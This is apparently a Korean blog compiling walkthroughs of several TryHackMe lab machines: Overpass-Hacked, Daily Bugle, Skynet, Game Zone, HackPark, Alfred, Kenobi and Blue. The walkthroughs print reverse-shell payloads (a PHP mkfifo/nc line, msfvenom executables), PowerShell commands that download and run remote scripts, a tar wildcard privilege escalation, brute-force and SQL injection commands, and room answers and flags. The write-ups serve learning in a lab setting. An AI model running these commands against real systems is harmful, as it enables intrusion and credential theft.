[질문] Reverse Shell을 Upload 하는 데 사용한 페이지의 URL은 무엇입니까?

정답 : /development/

 

[질문] 공격자가 액세스 권한을 얻기 위해 사용한 payload는 무엇입니까?

정답 : <?php exec("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.170.145 4242 >/tmp/f")?>

 

[질문]공격자가 privesc에 사용한 암호는 무엇입니까?

정답 : whenevernoteartinstant

 

[질문] 공격자는 어떻게 지속성을 확립했습니까?

정답 : git clone https://github.com/NinjaJc01/ssh-backdoor

 

[질문] Fasttrack을 사용하여 얼마나 많은 암호를 해독할 수 있었습니까?

John the ripper를 사용하자.

정답 : 4

 

Task 2 Research-Analyse the code

[질문] 백도어의 기본 해시는 무엇입니까?

정답 : bdd04d9bb7621687f5df9001f5098eb22bf19eac4c2c30b6f23efed4d24807277d0f8bfccb9e77659103d78c56e66d2d7d8391dfc885d0e9b68acd01fc2170e3

 

[질문] 백도어에 대해 하드코딩된 솔트는 무엇입니까?

정답 : 1c362db832f3f864c8c2fe05f2002a05

 

[질문] 공격자가 사용한 해시는 무엇입니까?

정답 : 6d05358f090eea56a238af02e47d44ee5489d234810ef6240280857ec69712a3e5e370b8a41899d0196ade16c0d54327c5654019292cbfe0b5e98ad1fec71bed

 

[질문] rockyou와 선택한 크래킹 도구를 사용하여 해시를 트래킹 합니다.암호가 무엇입니까?

s


ha512
hash가 만들어진다.

Password:salt형식으로 hash.txt파일을 만들어준다.

정답 : november16

 

Task 3 Attack-Get back in!

[질문] 사용자 플래그는 무엇입니까?

정답 : thm{d119b4fa8c497ddb0525f7ad200e6567}

 

[질문] 루트 플래그는 무엇입니까?

정답 : thm{d53b2684f169360bb9606c333873144d}

'Tryhackme' 카테고리의 다른 글

[Tryhackme] Daily Bugle  (0) 2023.01.20
[Tryhackme] Skynet  (0) 2023.01.19
[Tryhackme] Game Zone  (0) 2023.01.18
[Tryhackme] HackPark  (0) 2023.01.18
[Tryhackme] Alfred  (2) 2023.01.16

SQLI를 통해 Joomla CMS 계정을 얻고, hash cracking을 연습하고, yum을 활용하여 권한을 확대하십시오.

 

Task 1 Deploy

[질문] 누가 은행을 털었습니까?

 

웹 서버에 접속해 보자.

Task 2 Obtain user and root

 

[질문] Joomla의 버전은 무엇입니까?

Directory scan을 먼저 해보자.

robots.txt가 존재한다. 읽어보자.

Directory 구조가 나와있다.

뭐 … 버전에 대한 정보는 안 나와 있어서 dirsearch로 다시 scan 해봤다.

README.txt를 열어보자.

[질문] Jonah의 패스워드는 무엇입니까? (python 이용)

검색해 보면 python으로 작성된 exploit을 얻을 수 있다.

python으로 작성된 코드를 얻었다.

john the ripper를 사용하여 hash 된 암호를 구해보자.

이제 로그인해 보자.

 

php reverse shell을 이용할 것이다.

그렇기 때문에 php 코드를 넣을 공간을 찾아보자.

Extensions → Templates → Template → Beez3

 

php code를 넣어주고 save 한다.

이제 nc를 켜주고…

reverse code가 있는 곳에 접속하면…

..


UID
apache!!

Permission denied가 뜬다!

apache의 홈 디렉터리로 가보자.

 

Configuration.php를 열어보자!!

password가 보인다.

 

[질문] User flag?

이제 root권한을 얻어보자.

[질문] Root Flag?

'Tryhackme' 카테고리의 다른 글

[Tryhackme] Overpass-Hacked  (0) 2023.01.23
[Tryhackme] Skynet  (0) 2023.01.19
[Tryhackme] Game Zone  (0) 2023.01.18
[Tryhackme] HackPark  (0) 2023.01.18
[Tryhackme] Alfred  (2) 2023.01.16

먼저 port scan을 먼저 하자.

Directory Scan

/squirrelmail로 가보자.

로그인을 해야 한다.

samba에 힌트가 있지 않을까 싶었다.

 

Samba로 가보자.

Attention.txt파일과 logs 디렉터리가 있다.

전부 다운로드하자.

다운로드한 파일들을 하나씩 열어보자.

시스템에 문제가 생겼으니 직원들은 비밀번호를 바꾸라는 메시지다.

milesdyson이 메시지를 남겼다.

패스워드 목록이 나온다.

hydra를 사용해서 password를 찾을 것이다.

이제 hydra를 사용해서 패스워드를 찾아보자.

hydra -l milesdyson -P ./log1.txt http-post-form
"/squirrelmail/src/redirect.php:login_username=^USER^&secretkey=^PASS^&js_autodetect_results=1&just_logged_in=1:Unknown user or password incorrect." -V

그의 이메일 암호는 무엇입니까?

 

이메일로 들어가 보면 smb password가 나온다.

 

새로 얻은 패스워드로 smb에 접속해 보면 notes라는 디렉터리가 존재한다.

notes 디렉터리를 보면 확장자 md를 가진 파일들과 important.txt 파일이 존재한다.

 

Important.txt 파일을 받아서 열어보자.

숨겨진 디렉터리의 이름이 나온다.

숨겨진 주소로 접속해 봤다.

별 내용 없어서 … 디렉터리 검색을 해봤다.

/administrator로 가보자.

exploit을 받아서 읽어보자.

원격으로 접속해 flag를 얻어야 하니, Remote file inclution을 사용하자.

IPport를 입력한다.

그리고 nc와 웹 서버를 열어준다.

보면 이런 방식으로 rshell.php를 올려 줄 수 있다.

연결되었다.

 

user flag를 얻어보자.

milesdyson의 home디렉터리를 자세히 보면

backup 디렉터리가 눈에 띌 것이다.

주기적으로 backup을 해주는지 확인하기 위해서 crontab을 확인해 보자.

찾아보니 tar가 의도하지 않은 작업을 실행하도록 강제하기 위해

두 가지 옵션을 사용할 수 있다고 한다.

 

https://www.hackingarticles.in/exploiting-wildcard-for-privilege-escalation/

 

Exploiting Wildcard for Privilege Escalation - Hacking Articles

In this article, we will cover “Wildcard Injection” an interesting old-school UNIX hacking technique, which is still a successful approach for Post exploitation and even

www.hackingarticles.in

자세한 ↑ 여기에 나와있다. 가서 읽어보자.

 

checkpoint[=NUMBER]

->각 체크 포인트에서 해당 ACTION을 실행한다.

checkpoint-action=ACTION

->각 체크 포인트에서 해당 ACTION을 실행한다.

tar가 이 두 옵션을 강제로 사용하면서

명령을 실행하는 사용자의 권한으로 특정 작업을 사용할 수 있다.

 

Printf ‘#!/bin/bash\nchmod +s /bin/bash’ > /var/www/html/shell

touch “/var/www/html/ --checkpoint-action=exec=sh shell”

touch “/var/www/html/ --checkpoint=1”

위 명령들을 입력하고 기리면 된다.

 

'Tryhackme' 카테고리의 다른 글

[Tryhackme] Overpass-Hacked  (0) 2023.01.23
[Tryhackme] Daily Bugle  (0) 2023.01.20
[Tryhackme] Game Zone  (0) 2023.01.18
[Tryhackme] HackPark  (0) 2023.01.18
[Tryhackme] Alfred  (2) 2023.01.16

Task1 Deploy the vulnerable machine

포럼에서 저격총을 들고 있는 만화 캐릭터의 이름이 무엇입니까?

Search images with Google 클릭!!

 

Task2 Obtain access via SQLi

로그인 후 어떤 page가 보이나요?

SQLi를 사용하여 IDPW를 얻어보자.

 

SELECT * FROM users WHERE username = admin AND password := ' or 1=1 -- -

 

Task3 Using SQLMap

SQLMap을 사용하여 gameZone에 대한 전체 데이터베이스를 덤프 할 것이다.

먼저 burp suite를 사용하여 검색 기능에 대한 요청을 가로채야 한다.

이 요청을 파일로 저장한다.

그 다음 SQLMap에 전달하여 인증된 사용자 세션을 사용할 수 있다.

SQLMap을 실행시키자.

sqlmap -r file_name –dbms=mysql –dump

-r : 이전에 가로챈 요청을 사용한다.

--dbms : 데이터베이스 관리 시스템의 유형을 알려준다.

--dump : 전체 데이터베이스를 출력하려고 시도한다.

 

사용자 테이블에서 Hash 된 password는 무엇인가요?

사용자의 이름은 무엇인가요?

다른 테이블의 이름은 무엇인가요?

Task4 Cracking a password with JohnTheRipper

암호는 무엇입니까?

ssh를 사용하여 user flag를 얻으시오.

Task5 Exposing services with reverse SSH tunnels

역방향 SSH Port 전달

->원격 서버 호스트의 지정된 포트가 로컬 측의 지정된 호스트 및 포트로 전달되도록 지정하는 것이다.

-L : 로컬 터널

사이트가 차단된 경우 트래픽을 소유한 서버로 전달하고 볼 수 있다.

-R : 원격 터널

다른 사람이 볼 수 있도록 트래픽을 다른 서버로 전달한다.

도구 : ss

-t : TCP

-u : UDP

-l : listening sockets

-p : socket을 사용하는 process

-N : 서비스 이름을 확인하지 않음

 

실행 중인 TCP 소켓은 몇 개입니까?

port 10000에서 실행되는 서비스가 외부에서 방화벽 규칙을 통해 차단되는 것을 볼 수 있다.

(IPtable에서 볼 수 있다고 함)

그러나 SSH 터널을 사용하면 local에서 port를 노출할 수 있다.

 

ssh -L 10000:localhost:10000 <username>@<ip>

이제 브라우저에서 localhost:10000를 입력하면 접속 가능할 것이다.

노출된 CMS의 이름이 무엇입니까?

CMS의 버전은 무엇입니까?

Task6 Privilege Escalation with Metasploit

이제 Metasploit을 사용하여 root권한을 얻어봅시다.

옵션을 설정해 준다.

Root flag는 무엇입니까?

'Tryhackme' 카테고리의 다른 글

[Tryhackme] Daily Bugle  (0) 2023.01.20
[Tryhackme] Skynet  (0) 2023.01.19
[Tryhackme] HackPark  (0) 2023.01.18
[Tryhackme] Alfred  (2) 2023.01.16
[Tryhackme] Kenob  (0) 2023.01.13

TASK 1 취약한 Windows 시스템 배포

홈 페이지에 표시되는 광대의 이름은 무엇입니까?

Task 2 Hydra를 사용하여 무차별 로그인

Windows 웹 사이트 로그인 양식은 어떤 요청을 사용합니까?

사용자 이름을 추측하고 암호 단어 목록을 선택하고 사용자 계정에 대한 자격 증명을 얻어보자.

Task 4 머신을 손상시킨다.

이제 웹사이트에 로그인했다.

BlogEngine의 버전을 식별해 보자.

CVE는 무엇입니까?

웹 서버는 어떤 계정으로 실행됩니까?

파일 이름을 PostList.ascx로 바꿔주고, 아래 IPPORT를 바꿔준다.

 

파일을 어디다가 올릴지 찾아보자.

위에서 설정한 port로 리스너를 연다.

Task 4 windows 권한 에스컬레이션

msfvenom을 사용하여 Reverse Shell Payload를 생성하고,

현재 netcat 세션을 사용하여 Upload 하고 수동으로 실행할 수 있다.

 

Windows 시스템의 OS버전은 무엇입니까?

이제 업로드해 보자.

웹 서버를 이용해서 다운로드하자.

powershell "(New-Object System.Net.WebClient).DownloadFile('http://10.8.14.140:8000/rev_shell.exe','rev_shell.exe')"

 

이제 meterpreter로 연결하자.

실행 중인 비정상적인 서비스의 이름은 무엇입니까?

winpeas를 이용하자.

악용하려는 바이너리의 이름은 무엇입니까?

해당 경로로 이동해 보자.

일정 주기로 실행된다.

정답 가리려고 했는데 귀찮아서 못 가리겠다.

 

사용자 플래그는 무엇입니까?

권한이 없다고 뜬다.

 

리버스 쉘을 이용해서 권한을 얻어보자.

다시 서비스 디렉터리로 이동해서

Message.exe로 리버스 셸을 만들고 권한을 얻어보자.

이제 meterpreter에서 background명령을 입력하고 port번호를 6666으로 바꿔준다.

루트 플래그는 무엇입니까?

Task 5 Meterpreter 없이 권한 상승하기

winPeas를 사용할 때 원래 설치 시간은 얼마였습니까? (날짜와 시간입니다)

'Tryhackme' 카테고리의 다른 글

[Tryhackme] Skynet  (0) 2023.01.19
[Tryhackme] Game Zone  (0) 2023.01.18
[Tryhackme] Alfred  (2) 2023.01.16
[Tryhackme] Kenob  (0) 2023.01.13
[Tryhackme] Blue  (0) 2023.01.12

Task1 Initial Access

이번에는 자동화 서버(Jenkins)에서 잘못된 구성을 악용하는 방법을 배운다.

(Jenkins - 개발자가 변경한 코드를 자동으로 배포할 수 있는 통합 개발 파이프라인을 만드는 데 사용됨)

흥미로운 방법을 사용하여 전체 시스템 액세스 권한을 얻는다.

 

이것은 Windows 응용 프로그램이므로 Nishang을 사용하여 초기 액세스 권한을 얻는다.

저장소에는 초기 액세스, 열거 및 권한 에스컬레이션을 위한 유용한 스크립트 세트가 포함되어 있다.

> Reverse Shell Script를 사용한다.

 

얼마나 많은 포트가 열려 있습니까?

 

로그인 패널의 사용자 이름과 암호가 무엇입니까?

Jenkins의 기본 IPPW : admin, admin

관리자 암호는 C:\Program Files (x86)\Jenkins\secrets\initialAdminPassword에 있다.

 

기본 시스템에서 명령을 실행할 수 있는 도구와 기능을 찾아야 한다.

먼저 Powershell Script를 다운로드하고 Server에서 Download 할 수 있도록 해야 한다.

다운로드하였다.

powershell iex (New-Object Net.WebClient).DownloadString('http://your-ip:your-port/Invoke-PowerShellTcp.ps1');

Invoke-PowerShellTcp -Reverse -IPAddress your-ip -Port your-port

 

위 명령을 분석해 보자.

powershell iex (New-Object Net.WebClient).DownloadString('http://your-ip:your-port/Invoke-PowerShellTcp.ps1');

http://your-ip:your-port/에서 Invoke-PowerShellTcp.ps1을 받아온다.

nishang내에 존재함 (여기서 python3 -m http.server를 사용하면 될 뜻)

 

Invoke-PowerShellTcp -Reverse -IPAddress your-ip -Port your-port

->위에서 받은 Invoke-PowerShellTcp를 실행시키는 명령이다.

→your-ip:your-port로 연결한다.
찾아보면 명령을 입력할 수 있는 곳이 나온다.

 

서버를 생성하면 된다.

nc -lvnp 8888

python3 -m http.server

 

user.txt는 무엇입니까?

 

Task 2 Switching Shells

권한 에스컬레이션을 더 쉽게 하기 위해 다음 프로세스를 사용하여 미터프리터 셸로 전환해 보자.

msfvenom에서 다음 payload를 사용하여 Windows meterpreter Reverse Shell을 만들자.

msfvenom -p windows/meterpreter/reverse_tcp -a x86 –encoder x86/shikata_ga_nai LHOST=[IP] LPORT=[PORT] -f exe -o [SHELL_NAME].exe

 

payload를 생성한 후 이전과 동일한 방법을 사용하여 Machine에 Download 한다.

 

msfvenom -p windows/meterpreter/reverse_tcp -a x86 –encoder x86/shikata_ga_nai LHOST=10.8.14.140 LPORT=4444 -f exe -o reverse_shell.exe

Windows

powershell “(New-Object System.Net.WebClient).Downloadfile( ‘http://<ip>:8000/shell-name.exe’, ‘shell-name.exe’ )”



Kali

use exploit/multi/handler

set PAYLOAD windows/meterpreter/reverse_tcp

set LHOST your-ip

set LPORT listening-port

run



Windows
Start-Process “shell-name.exe”

 

 

Task3 Privilege Escalation

 

whoami/prev를 사용하여 모든 권한 보기

두 가지 권한이 활성화되어 있다.

SeDebugPrivilege

SeImpersonatePrivilege

이 취약점을 악용할 수 있는 Secret Module을 사용하자.

metapreter에서 load 할 수 있다.

list_tokens -g를 사용하여 사용할 수 있는 token을 찾자.

impersonate_token “BUILTIN\Administrators”를 사용하여

관리자 토큰을 얻자.

getuid명령을 실행했을 때 출력 결과

더 높은 권한이 있는 토큰을 가지고 있더라도 실제로는 권한이 있는 사용자의 권한이 없을 수 있다.

(Windows가 권한을 처리하는 방식 때문이다.)

services.exe 프로세스

> 프로세스의 기본 토큰을 사용하여 프로세스가 무엇을 할 수 있는지 결정한다.



먼저 ps명령으로 프로세스를 보고, services.exePID를 찾는다.

Migrate PID-OF-PROCESS명령을 사용하여 이 프로세스로 마이그레이션 한다.

C:\Windows\System32\config에서 root.txt파일을 읽어보자.

'Tryhackme' 카테고리의 다른 글

[Tryhackme] Game Zone  (0) 2023.01.18
[Tryhackme] HackPark  (0) 2023.01.18
[Tryhackme] Kenob  (0) 2023.01.13
[Tryhackme] Blue  (0) 2023.01.12
[Tryhackme] h4cked - Hack your way back into the machine  (0) 2023.01.10

Task 1 Deploy the culnerable machine


Make sure you're connected to our network and deploy the machine
Scan the machine with nmap, how many ports are open?

7개

Task 2 Enumerating Samba for shares

samba에 대한 설명이 나와있다.

3개

log.txt

 

Port : 21

 

/var

 

Task 3 Gain initial access with ProFtpd

1.3.5

 

4개

 

Task 4 Privilege Escalation with Path Variable Manipulation

/usr/bin/menu

3개

'Tryhackme' 카테고리의 다른 글

[Tryhackme] HackPark  (0) 2023.01.18
[Tryhackme] Alfred  (2) 2023.01.16
[Tryhackme] Blue  (0) 2023.01.12
[Tryhackme] h4cked - Hack your way back into the machine  (0) 2023.01.10
[Tryhackme] h4cked - Oh! We've been hacked!  (0) 2023.01.10

TASK 1 – Recon

=>nmap -sV -vv --script vuln $IP

=> 3

=> MS17-010

 

TASK 2 - Gain Access

start metasploit

Find the exploitation code we will run against the machine. What is the full path of the code?

=> msfconsole

=>exploit/windows/smb/ms17_010_eternalblue

 

Show options and set the one required value. What is the name of this value?

=>RHOSTS

 

Usually it would be fine to run this exploit as is; however, for the sake of learning, you should do one more thing before exploiting the target. Enter the following command and press enter:

set payload windows/x64/shell/reverse_tcp

With that done, run the exploit!

TASK 3 – Escalate


If you haven't already, background the previously gained shell (CTRL + Z). Research online how to convert a shell to meterpreter shell in metasploit. What is the name of the post module we will use? (Exact path, similar to the exploit we previously selected) 

=> post/multi/manage/shell_to_meterpreter

 

Select this (use MODULE_PATH). Show options, what option are we required to change?

=>SESSION

Set the required option, you may need to list all of the sessions to find your target here.

=> sessions

=> set SESSION 1

 

Run! If this doesn't work, try completing the exploit from the previous task once more.

Once the meterpreter shell conversion completes, select that session for use.

List all of the processes running via the 'ps' command. Just because we are system doesn't mean our process is. Find a process towards the bottom of this list that is running at NT AUTHORITY\SYSTEM and write down the process id (far left column).

Migrate to this process using the 'migrate PROCESS_ID' command where the process id is the one you just wrote down in the previous step. This may take several attempts, migrating processes is not very stable. If this fails, you may need to re-run the conversion process or reboot the machine and start once again. If this happens, try a different process next time. 

TASK 4 – Cracking


Within our elevated meterpreter shell, run the command 'hashdump'. This will dump all of the passwords on the machine as long as we have the correct privileges to do so. What is the name of the non-default user?

=>Jon

 

Copy this password hash to a file and research how to crack it. What is the cracked password

=>aplqfna22

 

TASK 5 – Find flags!

Flag1

=> flag{access_the_machine}

Flag2

=> flag{sam_database_elevated_access}

Flag3

=>flag{admin_ducuments_can_be_valuable}

'Tryhackme' 카테고리의 다른 글

[Tryhackme] Alfred  (2) 2023.01.16
[Tryhackme] Kenob  (0) 2023.01.13
[Tryhackme] h4cked - Hack your way back into the machine  (0) 2023.01.10
[Tryhackme] h4cked - Oh! We've been hacked!  (0) 2023.01.10
[Tryhackme] Year of the Rabbit  (0) 2023.01.09

+ Recent posts